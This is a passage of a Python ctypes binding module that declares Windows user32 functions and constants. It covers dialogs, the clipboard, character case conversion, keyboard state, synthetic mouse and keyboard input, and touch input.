DialogBoxIndirectParamA\n\n\ndef DialogBoxA(hInstance, lpTemplate, hWndParent, lpDialogFunc):\n return DialogBoxParamA(hInstance, lpTemplate, hWndParent, lpDialogFunc, 0)\n\n\ndef DialogBoxW(hInstance, lpTemplate, hWndParent, lpDialogFunc):\n return DialogBoxParamW(hInstance, lpTemplate, hWndParent, lpDialogFunc, 0)\n\n\nDialogBox = DialogBoxW\n# DialogBox = DialogBoxA\n\n\ndef DialogBoxIndirectA(hInstance, lpTemplate, hWndParent, lpDialogFunc):\n return DialogBoxIndirectParamA(hInstance, lpTemplate, hWndParent, lpDialogFunc, 0)\n\n\ndef DialogBoxIndirectW(hInstance, lpTemplate, hWndParent, lpDialogFunc):\n return DialogBoxIndirectParamW(hInstance, lpTemplate, hWndParent, lpDialogFunc, 0)\n\n\nDialogBoxIndirect = DialogBoxIndirectW\n# DialogBoxIndirect = DialogBoxIndirectA\n\n# WINAPI\n# EndDialog(\n# _In_ HWND hDlg,\n# _In_ INT_PTR nResult);\nEndDialog = user32.EndDialog\nEndDialog.restype = WINAPI\n\n\n# WINAPI\n# GetDlgItem(\n# _In_opt_ HWND hDlg,\n# _In_ INT nIDDlgItem);\nGetDlgItem = user32.GetDlgItem\nGetDlgItem.restype = WINAPI\n\n\n# WINAPI\n# SetDlgItemInt(\n# _In_ HWND hDlg,\n# _In_ INT nIDDlgItem,\n# _In_ UINT uValue,\n# _In_ BOOL bSigned);\nSetDlgItemInt = user32.SetDlgItemInt\nSetDlgItemInt.restype = WINAPI\n\n\n# WINAPI\n# GetDlgItemInt(\n# _In_ HWND hDlg,\n# _In_ INT nIDDlgItem,\n# _Out_opt_ BOOL *lpTranslated,\n# _In_ BOOL bSigned);\nGetDlgItemInt = user32.GetDlgItemInt\nGetDlgItemInt.restype = WINAPI\n\n\n# WINAPI\n# SetDlgItemTextA(\n# _In_ HWND hDlg,\n# _In_ INT nIDDlgItem,\n# _In_ LPCSTR lpString);\nSetDlgItemTextA = user32.SetDlgItemTextA\nSetDlgItemTextA.restype = WINAPI\n\n\n# WINAPI\n# SetDlgItemTextW(\n# _In_ HWND hDlg,\n# _In_ INT nIDDlgItem,\n# _In_ LPCWSTR lpString);\nSetDlgItemTextW = user32.SetDlgItemTextW\nSetDlgItemTextW.restype = WINAPI\n\nSetDlgItemText = SetDlgItemTextW\n# SetDlgItemText = SetDlgItemTextA\n\n# WINAPI\n# GetDlgItemTextA(\n# _In_ HWND hDlg,\n# _In_ INT nIDDlgItem,\n# _Out_writes_(cchMax) LPSTR lpString,\n# _In_ INT cchMax);\nGetDlgItemTextA = user32.GetDlgItemTextA\nGetDlgItemTextA.restype = WINAPI\n\n\n# WINAPI\n# GetDlgItemTextW(\n# _In_ HWND hDlg,\n# _In_ INT nIDDlgItem,\n# _Out_writes_(cchMax) LPWSTR lpString,\n# _In_ INT cchMax);\nGetDlgItemTextW = user32.GetDlgItemTextW\nGetDlgItemTextW.restype = WINAPI\n\nGetDlgItemText = GetDlgItemTextW\n# GetDlgItemText = GetDlgItemTextA\n\n# WINAPI\n# CheckDlgButton(\n# _In_ HWND hDlg,\n# _In_ INT nIDButton,\n# _In_ UINT uCheck);\nCheckDlgButton = user32.CheckDlgButton\nCheckDlgButton.restype = WINAPI\n\n\n# WINAPI\n# CheckRadioButton(\n# _In_ HWND hDlg,\n# _In_ INT nIDFirstButton,\n# _In_ INT nIDLastButton,\n# _In_ INT nIDCheckButton);\nCheckRadioButton = user32.CheckRadioButton\nCheckRadioButton.restype = WINAPI\n\n\n# WINAPI\n# IsDlgButtonChecked(\n# _In_ HWND hDlg,\n# _In_ INT nIDButton);\nIsDlgButtonChecked = user32.IsDlgButtonChecked\nIsDlgButtonChecked.restype = WINAPI\n\n\n# WINAPI\n# SendDlgItemMessageA(\n# _In_ HWND hDlg,\n# _In_ INT nIDDlgItem,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nSendDlgItemMessageA = user32.SendDlgItemMessageA\nSendDlgItemMessageA.restype = WINAPI\n\n\n# WINAPI\n# SendDlgItemMessageW(\n# _In_ HWND hDlg,\n# _In_ INT nIDDlgItem,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nSendDlgItemMessageW = user32.SendDlgItemMessageW\nSendDlgItemMessageW.restype = WINAPI\n\nSendDlgItemMessage = SendDlgItemMessageW\n# SendDlgItemMessage = SendDlgItemMessageA\n\n# WINAPI\n# GetNextDlgGroupItem(\n# _In_ HWND hDlg,\n# _In_opt_ HWND hCtl,\n# _In_ BOOL bPrevious);\nGetNextDlgGroupItem = user32.GetNextDlgGroupItem\nGetNextDlgGroupItem.restype = WINAPI\n\n\n# WINAPI\n# GetNextDlgTabItem(\n# _In_ HWND hDlg,\n# _In_opt_ HWND hCtl,\n# _In_ BOOL bPrevious);\nGetNextDlgTabItem = user32.GetNextDlgTabItem\nGetNextDlgTabItem.restype = WINAPI\n\n\n# WINAPI\n# GetDlgCtrlID(\n# _In_ HWND hWnd);\nGetDlgCtrlID = user32.GetDlgCtrlID\nGetDlgCtrlID.restype = WINAPI\n\n\n# WINAPI\n# GetDialogBaseUnits(VOID);\nGetDialogBaseUnits = user32.GetDialogBaseUnits\nGetDialogBaseUnits.restype = WINAPI\n\n\n# #endif\n# DefDlgProcA(\n# _In_ HWND hDlg,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nDefDlgProcA = user32.DefDlgProcA\nDefDlgProcA.restype = WINAPI\n\n\n# #endif\n# DefDlgProcW(\n# _In_ HWND hDlg,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nDefDlgProcW = user32.DefDlgProcW\nDefDlgProcW.restype = WINAPI\n\nDefDlgProc = DefDlgProcW\n# DefDlgProc = DefDlgProcA\n\n\nclass DIALOG_CONTROL_DPI_CHANGE_BEHAVIORS(ENUM):\n DCDC_DEFAULT = 0x0000\n DCDC_DISABLE_FONT_UPDATE = 0x0001\n DCDC_DISABLE_RELAYOUT = 0x0002\n\n\n# WINAPI\n# SetDialogControlDpiChangeBehavior(\n# _In_ HWND hWnd,\n# _In_ DIALOG_CONTROL_DPI_CHANGE_BEHAVIORS mask,\n# _In_ DIALOG_CONTROL_DPI_CHANGE_BEHAVIORS values);\nSetDialogControlDpiChangeBehavior = user32.SetDialogControlDpiChangeBehavior\nSetDialogControlDpiChangeBehavior.restype = WINAPI\n\n\n# WINAPI\n# GetDialogControlDpiChangeBehavior(\n# _In_ HWND hWnd);\nGetDialogControlDpiChangeBehavior = user32.GetDialogControlDpiChangeBehavior\nGetDialogControlDpiChangeBehavior.restype = WINAPI\n\nclass DIALOG_DPI_CHANGE_BEHAVIORS(ENUM):\n DDC_DEFAULT = 0x0000\n DDC_DISABLE_ALL = 0x0001\n DDC_DISABLE_RESIZE = 0x0002\n DDC_DISABLE_CONTROL_RELAYOUT = 0x0004\n\n\n\n\n# WINAPI\n# SetDialogDpiChangeBehavior(\n# _In_ HWND hDlg,\n# _In_ DIALOG_DPI_CHANGE_BEHAVIORS mask,\n# _In_ DIALOG_DPI_CHANGE_BEHAVIORS values);\nSetDialogDpiChangeBehavior = user32.SetDialogDpiChangeBehavior\nSetDialogDpiChangeBehavior.restype = WINAPI\n\n\n# WINAPI\n# GetDialogDpiChangeBehavior(\n# _In_ HWND hDlg);\nGetDialogDpiChangeBehavior = user32.GetDialogDpiChangeBehavior\nGetDialogDpiChangeBehavior.restype = WINAPI\n\nDLGWINDOWEXTRA = 0x0000001E\nDLGWINDOWEXTRA = 0x00000030\n\n# WINAPI\n# CallMsgFilterA(\n# _In_ LPMSG lpMsg,\n# _In_ INT nCode);\nCallMsgFilterA = user32.CallMsgFilterA\nCallMsgFilterA.restype = WINAPI\n\n\n# WINAPI\n# CallMsgFilterW(\n# _In_ LPMSG lpMsg,\n# _In_ INT nCode);\nCallMsgFilterW = user32.CallMsgFilterW\nCallMsgFilterW.restype = WINAPI\n\nCallMsgFilter = CallMsgFilterW\n# CallMsgFilter = CallMsgFilterA\n\n# WINAPI\n# OpenClipboard(\n# _In_opt_ HWND hWndNewOwner);\nOpenClipboard = user32.OpenClipboard\nOpenClipboard.restype = WINAPI\n\n\n# WINAPI\n# CloseClipboard(\n# VOID);\nCloseClipboard = user32.CloseClipboard\nCloseClipboard.restype = WINAPI\n\n\n# WINAPI\n# GetClipboardSequenceNumber(\n# VOID);\nGetClipboardSequenceNumber = user32.GetClipboardSequenceNumber\nGetClipboardSequenceNumber.restype = WINAPI\n\n\n# WINAPI\n# GetClipboardOwner(\n# VOID);\nGetClipboardOwner = user32.GetClipboardOwner\nGetClipboardOwner.restype = WINAPI\n\n\n# WINAPI\n# SetClipboardViewer(\n# _In_ HWND hWndNewViewer);\nSetClipboardViewer = user32.SetClipboardViewer\nSetClipboardViewer.restype = WINAPI\n\n\n# WINAPI\n# GetClipboardViewer(\n# VOID);\nGetClipboardViewer = user32.GetClipboardViewer\nGetClipboardViewer.restype = WINAPI\n\n\n# WINAPI\n# ChangeClipboardChain(\n# _In_ HWND hWndRemove,\n# _In_ HWND hWndNewNext);\nChangeClipboardChain = user32.ChangeClipboardChain\nChangeClipboardChain.restype = WINAPI\n\n\n# WINAPI\n# SetClipboardData(\n# _In_ UINT uFormat,\n# _In_opt_ HANDLE hMem);\nSetClipboardData = user32.SetClipboardData\nSetClipboardData.restype = WINAPI\n\n\n# WINAPI\n# GetClipboardData(\n# _In_ UINT uFormat);\nGetClipboardData = user32.GetClipboardData\nGetClipboardData.restype = WINAPI\n\n\n# WINAPI\n# RegisterClipboardFormatA(\n# _In_ LPCSTR lpszFormat);\nRegisterClipboardFormatA = user32.RegisterClipboardFormatA\nRegisterClipboardFormatA.restype = WINAPI\n\n\n# WINAPI\n# RegisterClipboardFormatW(\n# _In_ LPCWSTR lpszFormat);\nRegisterClipboardFormatW = user32.RegisterClipboardFormatW\nRegisterClipboardFormatW.restype = WINAPI\n\nRegisterClipboardFormat = RegisterClipboardFormatW\n# RegisterClipboardFormat = RegisterClipboardFormatA\n\n# WINAPI\n# CountClipboardFormats(\n# VOID);\nCountClipboardFormats = user32.CountClipboardFormats\nCountClipboardFormats.restype = WINAPI\n\n\n# WINAPI\n# EnumClipboardFormats(\n# _In_ UINT format);\nEnumClipboardFormats = user32.EnumClipboardFormats\nEnumClipboardFormats.restype = WINAPI\n\n\n# WINAPI\n# GetClipboardFormatNameA(\n# _In_ UINT format,\n# _Out_writes_(cchMaxCount) LPSTR lpszFormatName,\n# _In_ INT cchMaxCount);\nGetClipboardFormatNameA = user32.GetClipboardFormatNameA\nGetClipboardFormatNameA.restype = WINAPI\n\n\n# WINAPI\n# GetClipboardFormatNameW(\n# _In_ UINT format,\n# _Out_writes_(cchMaxCount) LPWSTR lpszFormatName,\n# _In_ INT cchMaxCount);\nGetClipboardFormatNameW = user32.GetClipboardFormatNameW\nGetClipboardFormatNameW.restype = WINAPI\n\nGetClipboardFormatName = GetClipboardFormatNameW\n# GetClipboardFormatName = GetClipboardFormatNameA\n\n# WINAPI\n# EmptyClipboard(\n# VOID);\nEmptyClipboard = user32.EmptyClipboard\nEmptyClipboard.restype = WINAPI\n\n\n# WINAPI\n# IsClipboardFormatAvailable(\n# _In_ UINT format);\nIsClipboardFormatAvailable = user32.IsClipboardFormatAvailable\nIsClipboardFormatAvailable.restype = WINAPI\n\n\n# WINAPI\n# GetPriorityClipboardFormat(\n# _In_reads_(cFormats) UINT *paFormatPriorityList,\n# _In_ INT cFormats);\nGetPriorityClipboardFormat = user32.GetPriorityClipboardFormat\nGetPriorityClipboardFormat.restype = WINAPI\n\n\n# WINAPI\n# GetOpenClipboardWindow(\n# VOID);\nGetOpenClipboardWindow = user32.GetOpenClipboardWindow\nGetOpenClipboardWindow.restype = WINAPI\n\n\n# WINAPI\n# AddClipboardFormatListener(\n# _In_ HWND hwnd);\nAddClipboardFormatListener = user32.AddClipboardFormatListener\nAddClipboardFormatListener.restype = WINAPI\n\n\n# WINAPI\n# RemoveClipboardFormatListener(\n# _In_ HWND hwnd);\nRemoveClipboardFormatListener = user32.RemoveClipboardFormatListener\nRemoveClipboardFormatListener.restype = WINAPI\n\n\n# WINAPI\n# GetUpdatedClipboardFormats(\n# _Out_writes_(cFormats) PUINT lpuiFormats,\n# _In_ UINT cFormats,\n# _Out_ PUINT pcFormatsOut);\nGetUpdatedClipboardFormats = user32.GetUpdatedClipboardFormats\nGetUpdatedClipboardFormats.restype = WINAPI\n\n\n# WINAPI\n# CharToOemA(\n# _In_ LPCSTR pSrc,\n# _Out_writes_(_Inexpressible_(strlen(pSrc) + 1)) LPSTR pDst);\nCharToOemA = user32.CharToOemA\nCharToOemA.restype = WINAPI\n\n\n# WINAPI\n# CharToOemW(\n# _In_ LPCWSTR pSrc,\n# _Out_writes_(_Inexpressible_(strlen(pSrc) + 1)) LPSTR pDst);\nCharToOemW = user32.CharToOemW\nCharToOemW.restype = WINAPI\n\nCharToOem = CharToOemW\n# CharToOem = CharToOemA\n\n# WINAPI\n# OemToCharA(\n# _In_ LPCSTR pSrc,\n# _Out_writes_(_Inexpressible_(strlen(pSrc) + 1)) LPSTR pDst);\nOemToCharA = user32.OemToCharA\nOemToCharA.restype = WINAPI\n\n\n# WINAPI\n# OemToCharW(\n# _In_ LPCSTR pSrc,\n# _Out_writes_(_Inexpressible_(strlen(pSrc) + 1)) LPWSTR pDst);\nOemToCharW = user32.OemToCharW\nOemToCharW.restype = WINAPI\n\nOemToChar = OemToCharW\n# OemToChar = OemToCharA\n\n# WINAPI\n# CharToOemBuffA(\n# _In_ LPCSTR lpszSrc,\n# _Out_writes_(cchDstLength) LPSTR lpszDst,\n# _In_ DWORD cchDstLength);\nCharToOemBuffA = user32.CharToOemBuffA\nCharToOemBuffA.restype = WINAPI\n\n\n# WINAPI\n# CharToOemBuffW(\n# _In_ LPCWSTR lpszSrc,\n# _Out_writes_(cchDstLength) LPSTR lpszDst,\n# _In_ DWORD cchDstLength);\nCharToOemBuffW = user32.CharToOemBuffW\nCharToOemBuffW.restype = WINAPI\n\nCharToOemBuff = CharToOemBuffW\n# CharToOemBuff = CharToOemBuffA\n\n# WINAPI\n# OemToCharBuffA(\n# _In_ LPCSTR lpszSrc,\n# _Out_writes_(cchDstLength) LPSTR lpszDst,\n# _In_ DWORD cchDstLength);\nOemToCharBuffA = user32.OemToCharBuffA\nOemToCharBuffA.restype = WINAPI\n\n\n# WINAPI\n# OemToCharBuffW(\n# _In_ LPCSTR lpszSrc,\n# _Out_writes_(cchDstLength) LPWSTR lpszDst,\n# _In_ DWORD cchDstLength);\nOemToCharBuffW = user32.OemToCharBuffW\nOemToCharBuffW.restype = WINAPI\n\nOemToCharBuff = OemToCharBuffW\n# OemToCharBuff = OemToCharBuffA\n\n# WINAPI\n# CharUpperA(\n# _Inout_ LPSTR lpsz);\nCharUpperA = user32.CharUpperA\nCharUpperA.restype = WINAPI\n\n\n# WINAPI\n# CharUpperW(\n# _Inout_ LPWSTR lpsz);\nCharUpperW = user32.CharUpperW\nCharUpperW.restype = WINAPI\n\nCharUpper = CharUpperW\n# CharUpper = CharUpperA\n\n# WINAPI\n# CharUpperBuffA(\n# _Inout_updates_(cchLength) LPSTR lpsz,\n# _In_ DWORD cchLength);\nCharUpperBuffA = user32.CharUpperBuffA\nCharUpperBuffA.restype = WINAPI\n\n\n# WINAPI\n# CharUpperBuffW(\n# _Inout_updates_(cchLength) LPWSTR lpsz,\n# _In_ DWORD cchLength);\nCharUpperBuffW = user32.CharUpperBuffW\nCharUpperBuffW.restype = WINAPI\n\nCharUpperBuff = CharUpperBuffW\n# CharUpperBuff = CharUpperBuffA\n\n# WINAPI\n# CharLowerA(\n# _Inout_ LPSTR lpsz);\nCharLowerA = user32.CharLowerA\nCharLowerA.restype = WINAPI\n\n\n# WINAPI\n# CharLowerW(\n# _Inout_ LPWSTR lpsz);\nCharLowerW = user32.CharLowerW\nCharLowerW.restype = WINAPI\n\nCharLower = CharLowerW\n# CharLower = CharLowerA\n\n# WINAPI\n# CharLowerBuffA(\n# _Inout_updates_(cchLength) LPSTR lpsz,\n# _In_ DWORD cchLength);\nCharLowerBuffA = user32.CharLowerBuffA\nCharLowerBuffA.restype = WINAPI\n\n\n# WINAPI\n# CharLowerBuffW(\n# _Inout_updates_(cchLength) LPWSTR lpsz,\n# _In_ DWORD cchLength);\nCharLowerBuffW = user32.CharLowerBuffW\nCharLowerBuffW.restype = WINAPI\n\nCharLowerBuff = CharLowerBuffW\n# CharLowerBuff = CharLowerBuffA\n\n# WINAPI\n# CharNextA(\n# _In_ LPCSTR lpsz);\nCharNextA = user32.CharNextA\nCharNextA.restype = WINAPI\n\n\n# WINAPI\n# CharNextW(\n# _In_ LPCWSTR lpsz);\nCharNextW = user32.CharNextW\nCharNextW.restype = WINAPI\n\nCharNext = CharNextW\n# CharNext = CharNextA\n\n# WINAPI\n# CharPrevA(\n# _In_ LPCSTR lpszStart,\n# _In_ LPCSTR lpszCurrent);\nCharPrevA = user32.CharPrevA\nCharPrevA.restype = WINAPI\n\n\n# WINAPI\n# CharPrevW(\n# _In_ LPCWSTR lpszStart,\n# _In_ LPCWSTR lpszCurrent);\nCharPrevW = user32.CharPrevW\nCharPrevW.restype = WINAPI\n\nCharPrev = CharPrevW\n# CharPrev = CharPrevA\n\n# WINAPI\n# CharNextExA(\n# _In_ WORD CodePage,\n# _In_ LPCSTR lpCurrentChar,\n# _In_ DWORD dwFlags);\nCharNextExA = user32.CharNextExA\nCharNextExA.restype = WINAPI\n\n\n# WINAPI\n# CharPrevExA(\n# _In_ WORD CodePage,\n# _In_ LPCSTR lpStart,\n# _In_ LPCSTR lpCurrentChar,\n# _In_ DWORD dwFlags);\nCharPrevExA = user32.CharPrevExA\nCharPrevExA.restype = WINAPI\n\n# AnsiToOem = CharToOemA\n# OemToAnsi = OemToCharA\n# AnsiToOemBuff = CharToOemBuffA\n# OemToAnsiBuff = OemToCharBuffA\n# AnsiUpper = CharUpperA\n# AnsiUpperBuff = CharUpperBuffA\n# AnsiLower = CharLowerA\n# AnsiLowerBuff = CharLowerBuffA\n# AnsiNext = CharNextA\n# AnsiPrev = CharPrevA\n\n# WINAPI\n# IsCharAlphaA(\n# _In_ CHAR ch);\nIsCharAlphaA = user32.IsCharAlphaA\nIsCharAlphaA.restype = WINAPI\n\n\n# WINAPI\n# IsCharAlphaW(\n# _In_ WCHAR ch);\nIsCharAlphaW = user32.IsCharAlphaW\nIsCharAlphaW.restype = WINAPI\n\nIsCharAlpha = IsCharAlphaW\n# IsCharAlpha = IsCharAlphaA\n\n# WINAPI\n# IsCharAlphaNumericA(\n# _In_ CHAR ch);\nIsCharAlphaNumericA = user32.IsCharAlphaNumericA\nIsCharAlphaNumericA.restype = WINAPI\n\n\n# WINAPI\n# IsCharAlphaNumericW(\n# _In_ WCHAR ch);\nIsCharAlphaNumericW = user32.IsCharAlphaNumericW\nIsCharAlphaNumericW.restype = WINAPI\n\nIsCharAlphaNumeric = IsCharAlphaNumericW\n# IsCharAlphaNumeric = IsCharAlphaNumericA\n\n# WINAPI\n# IsCharUpperA(\n# _In_ CHAR ch);\nIsCharUpperA = user32.IsCharUpperA\nIsCharUpperA.restype = WINAPI\n\n\n# WINAPI\n# IsCharUpperW(\n# _In_ WCHAR ch);\nIsCharUpperW = user32.IsCharUpperW\nIsCharUpperW.restype = WINAPI\n\nIsCharUpper = IsCharUpperW\n# IsCharUpper = IsCharUpperA\n\n# WINAPI\n# IsCharLowerA(\n# _In_ CHAR ch);\nIsCharLowerA = user32.IsCharLowerA\nIsCharLowerA.restype = WINAPI\n\n\n# WINAPI\n# IsCharLowerW(\n# _In_ WCHAR ch);\nIsCharLowerW = user32.IsCharLowerW\nIsCharLowerW.restype = WINAPI\n\nIsCharLower = IsCharLowerW\n# IsCharLower = IsCharLowerA\n\n# WINAPI\n# SetFocus(\n# _In_opt_ HWND hWnd);\nSetFocus = user32.SetFocus\nSetFocus.restype = WINAPI\n\n\n# WINAPI\n# GetActiveWindow(\n# VOID);\nGetActiveWindow = user32.GetActiveWindow\nGetActiveWindow.restype = WINAPI\n\n\n# WINAPI\n# GetFocus(\n# VOID);\nGetFocus = user32.GetFocus\nGetFocus.restype = WINAPI\n\n\n# WINAPI\n# GetKBCodePage(\n# VOID);\nGetKBCodePage = user32.GetKBCodePage\nGetKBCodePage.restype = WINAPI\n\n\n# WINAPI\n# GetKeyState(\n# _In_ INT nVirtKey);\nGetKeyState = user32.GetKeyState\nGetKeyState.restype = WINAPI\n\n\n# WINAPI\n# GetAsyncKeyState(\n# _In_ INT vKey);\nGetAsyncKeyState = user32.GetAsyncKeyState\nGetAsyncKeyState.restype = WINAPI\n\n\n# WINAPI\n# GetKeyboardState(\n# _Out_writes_(256) PBYTE lpKeyState);\nGetKeyboardState = user32.GetKeyboardState\nGetKeyboardState.restype = WINAPI\n\n\n# WINAPI\n# SetKeyboardState(\n# _In_reads_(256) LPBYTE lpKeyState);\nSetKeyboardState = user32.SetKeyboardState\nSetKeyboardState.restype = WINAPI\n\n\n# WINAPI\n# GetKeyNameTextA(\n# _In_ LONG lParam,\n# _Out_writes_(cchSize) LPSTR lpString,\n# _In_ INT cchSize);\nGetKeyNameTextA = user32.GetKeyNameTextA\nGetKeyNameTextA.restype = WINAPI\n\n\n# WINAPI\n# GetKeyNameTextW(\n# _In_ LONG lParam,\n# _Out_writes_(cchSize) LPWSTR lpString,\n# _In_ INT cchSize);\nGetKeyNameTextW = user32.GetKeyNameTextW\nGetKeyNameTextW.restype = WINAPI\n\nGetKeyNameText = GetKeyNameTextW\n# GetKeyNameText = GetKeyNameTextA\n\n# WINAPI\n# GetKeyboardType(\n# _In_ INT nTypeFlag);\nGetKeyboardType = user32.GetKeyboardType\nGetKeyboardType.restype = WINAPI\n\n\n# WINAPI\n# ToAscii(\n# _In_ UINT uVirtKey,\n# _In_ UINT uScanCode,\n# _In_reads_opt_(256) CONST BYTE *lpKeyState,\n# _Out_ LPWORD lpChar,\n# _In_ UINT uFlags);\nToAscii = user32.ToAscii\nToAscii.restype = WINAPI\n\n\n# WINAPI\n# ToAsciiEx(\n# _In_ UINT uVirtKey,\n# _In_ UINT uScanCode,\n# _In_reads_opt_(256) CONST BYTE *lpKeyState,\n# _Out_ LPWORD lpChar,\n# _In_ UINT uFlags,\n# _In_opt_ HKL dwhkl);\nToAsciiEx = user32.ToAsciiEx\nToAsciiEx.restype = WINAPI\n\n\n# WINAPI\n# ToUnicode(\n# _In_ UINT wVirtKey,\n# _In_ UINT wScanCode,\n# _In_reads_bytes_opt_(256) CONST BYTE *lpKeyState,\n# _Out_writes_(cchBuff) LPWSTR pwszBuff,\n# _In_ INT cchBuff,\n# _In_ UINT wFlags);\nToUnicode = user32.ToUnicode\nToUnicode.restype = WINAPI\n\n\n# WINAPI\n# OemKeyScan(\n# _In_ WORD wOemChar);\nOemKeyScan = user32.OemKeyScan\nOemKeyScan.restype = WINAPI\n\n\n# WINAPI\n# VkKeyScanA(\n# _In_ CHAR ch);\nVkKeyScanA = user32.VkKeyScanA\nVkKeyScanA.restype = WINAPI\n\n\n# WINAPI\n# VkKeyScanW(\n# _In_ WCHAR ch);\nVkKeyScanW = user32.VkKeyScanW\nVkKeyScanW.restype = WINAPI\n\nVkKeyScan = VkKeyScanW\n# VkKeyScan = VkKeyScanA\n\n# WINAPI\n# VkKeyScanExA(\n# _In_ CHAR ch,\n# _In_ HKL dwhkl);\nVkKeyScanExA = user32.VkKeyScanExA\nVkKeyScanExA.restype = WINAPI\n\n\n# WINAPI\n# VkKeyScanExW(\n# _In_ WCHAR ch,\n# _In_ HKL dwhkl);\nVkKeyScanExW = user32.VkKeyScanExW\nVkKeyScanExW.restype = WINAPI\n\nVkKeyScanEx = VkKeyScanExW\n# VkKeyScanEx = VkKeyScanExA\n\n\nKEYEVENTF_EXTENDEDKEY = 0x00000001\nKEYEVENTF_KEYUP = 0x00000002\nKEYEVENTF_UNICODE = 0x00000004\nKEYEVENTF_SCANCODE = 0x00000008\n\n# WINAPI\n# keybd_event(\n# _In_ BYTE bVk,\n# _In_ BYTE bScan,\n# _In_ DWORD dwFlags,\n# _In_ ULONG_PTR dwExtraInfo);\nkeybd_event = user32.keybd_event\nkeybd_event.restype = WINAPI\n\nMOUSEEVENTF_MOVE = 0x00000001\nMOUSEEVENTF_LEFTDOWN = 0x00000002\nMOUSEEVENTF_LEFTUP = 0x00000004\nMOUSEEVENTF_RIGHTDOWN = 0x00000008\nMOUSEEVENTF_RIGHTUP = 0x00000010\nMOUSEEVENTF_MIDDLEDOWN = 0x00000020\nMOUSEEVENTF_MIDDLEUP = 0x00000040\nMOUSEEVENTF_XDOWN = 0x00000080\nMOUSEEVENTF_XUP = 0x00000100\nMOUSEEVENTF_WHEEL = 0x00000800\nMOUSEEVENTF_HWHEEL = 0x00001000\nMOUSEEVENTF_MOVE_NOCOALESCE = 0x00002000\nMOUSEEVENTF_VIRTUALDESK = 0x00004000\nMOUSEEVENTF_ABSOLUTE = 0x00008000\n\n# WINAPI\n# mouse_event(\n# _In_ DWORD dwFlags,\n# _In_ DWORD dx,\n# _In_ DWORD dy,\n# _In_ DWORD dwData,\n# _In_ ULONG_PTR dwExtraInfo);\nmouse_event = user32.mouse_event\nmouse_event.restype = WINAPI\n\n\nclass tagMOUSEINPUT(ctypes.Structure):\n _fields_ = [\n ('dx', LONG),\n ('dy', LONG),\n ('mouseData', DWORD),\n ('dwFlags', DWORD),\n ('time', DWORD),\n ('dwExtraInfo', ULONG_PTR),\n ]\n\n\nMOUSEINPUT = tagMOUSEINPUT\nPMOUSEINPUT = POINTER(tagMOUSEINPUT)\nLPMOUSEINPUT = POINTER(tagMOUSEINPUT)\n\n\n\nclass tagKEYBDINPUT(ctypes.Structure):\n _fields_ = [\n ('wVk', WORD),\n ('wScan', WORD),\n ('dwFlags', DWORD),\n ('time', DWORD),\n ('dwExtraInfo', ULONG_PTR),\n ]\n\n\nKEYBDINPUT = tagKEYBDINPUT\nPKEYBDINPUT = POINTER(tagKEYBDINPUT)\nLPKEYBDINPUT = POINTER(tagKEYBDINPUT)\n\n\n\nclass tagHARDWAREINPUT(ctypes.Structure):\n _fields_ = [\n ('uMsg', DWORD),\n ('wParamL', WORD),\n ('wParamH', WORD),\n ]\n\n\nHARDWAREINPUT = tagHARDWAREINPUT\nPHARDWAREINPUT = POINTER(tagHARDWAREINPUT)\nLPHARDWAREINPUT = POINTER(tagHARDWAREINPUT)\n\n\nINPUT_MOUSE = 0x00000000\nINPUT_KEYBOARD = 0x00000001\nINPUT_HARDWARE = 0x00000002\n\nclass tagINPUT(ctypes.Structure):\n _fields_ = [\n ('type', DWORD),\n ('DUMMYUNIONNAME', DUMMYUNIONNAME),\n ]\n\n\nINPUT = tagINPUT\nPINPUT = POINTER(tagINPUT)\nLPINPUT = POINTER(tagINPUT)\n\n\n\n# WINAPI\n# SendInput(\n# _In_ UINT cInputs,\n# _In_reads_(cInputs) LPINPUT pInputs,\n# _In_ INT cbSize);\nSendInput = user32.SendInput\nSendInput.restype = WINAPI\n\n\nclass tagTOUCHINPUT(ctypes.Structure):\n _fields_ = [\n ('x', LONG),\n ('y', LONG),\n ('hSource', HANDLE),\n ('dwID', DWORD),\n ('dwFlags', DWORD),\n ('dwMask', DWORD),\n ('dwTime', DWORD),\n ('dwExtraInfo', ULONG_PTR),\n ('cxContact', DWORD),\n ('cyContact', DWORD),\n ]\n\n\nTOUCHINPUT = tagTOUCHINPUT\nPTOUCHINPUT = POINTER(tagTOUCHINPUT)\n\n\nPCTOUCHINPUT = TOUCHINPUT\n\n\ndef TOUCH_COORD_TO_PIXEL(l):\n return int(l / 100)\n\n\nTOUCHEVENTF_MOVE = 0x00000001\nTOUCHEVENTF_DOWN = 0x00000002\nTOUCHEVENTF_UP = 0x00000004\nTOUCHEVENTF_INRANGE = 0x00000008\nTOUCHEVENTF_PRIMARY = 0x00000010\nTOUCHEVENTF_NOCOALESCE = 0x00000020\nTOUCHEVENTF_PEN = 0x00000040\nTOUCHEVENTF_PALM = 0x00000080\nTOUCHINPUTMASKF_TIMEFROMSYSTEM = 0x00000001\nTOUCHINPUTMASKF_EXTRAINFO = 0x00000002\nTOUCHINPUTMASKF_CONTACTAREA = 0x00000004\n\n# WINAPI\n# GetTouchInputInfo(\n# _In_ HTOUCHINPUT hTouchInput,\n# _In_ UINT cInputs,\n# _Out_writes_(cInputs) PTOUCHINPUT pInputs,\n# _In_ INT cbSize);\nGetTouchInputInfo = user32.GetTouchInputInfo\nGetTouchInputInfo.restype = WINAPI\n\n\n# WINAPI\n# CloseTouchInputHandle(\n# _In_ HTOUCHINPUT hTouchInput);\nCloseTouchInputHandle = user32.CloseTouchInputHandle\nCloseTouchInputHandle.restype = WINAPI\n\nTWF_FINETOUCH = 0x00000001\nTWF_WANTPALM = 0x00000002\n\n# WINAPI\n# RegisterTouchWindow(\n# _In_ HWND hwnd,\n# _In_ ULONG ulFlags);\nRegisterTouchWindow = user32.RegisterTouchWindow\nRegisterTouchWindow.restype = WINAPI\n\n\n# WINAPI\n# UnregisterTouchWindow(\n# _In_ HWND hwnd);\nUnregisterTouchWindow = user32.UnregisterTouchWindow\nUnregisterTouchWindow.restype = WINAPI\n\n\n# WINAPI\n# IsTouchWindow(\n# _In_ HWND hwnd,\n# _Out_opt_ PULONG pulFlags);\nIsTouchWindow = user32.IsTouchWindow\nIsTouchWindow.restype = WINAPI\n\n\nclass tagPOINTER_INPUT_TYPE(ENUM):\n PT_POINTER = 1\n PT_TOUCH = 2\n PT_PEN = 3\n PT_MOUSE = 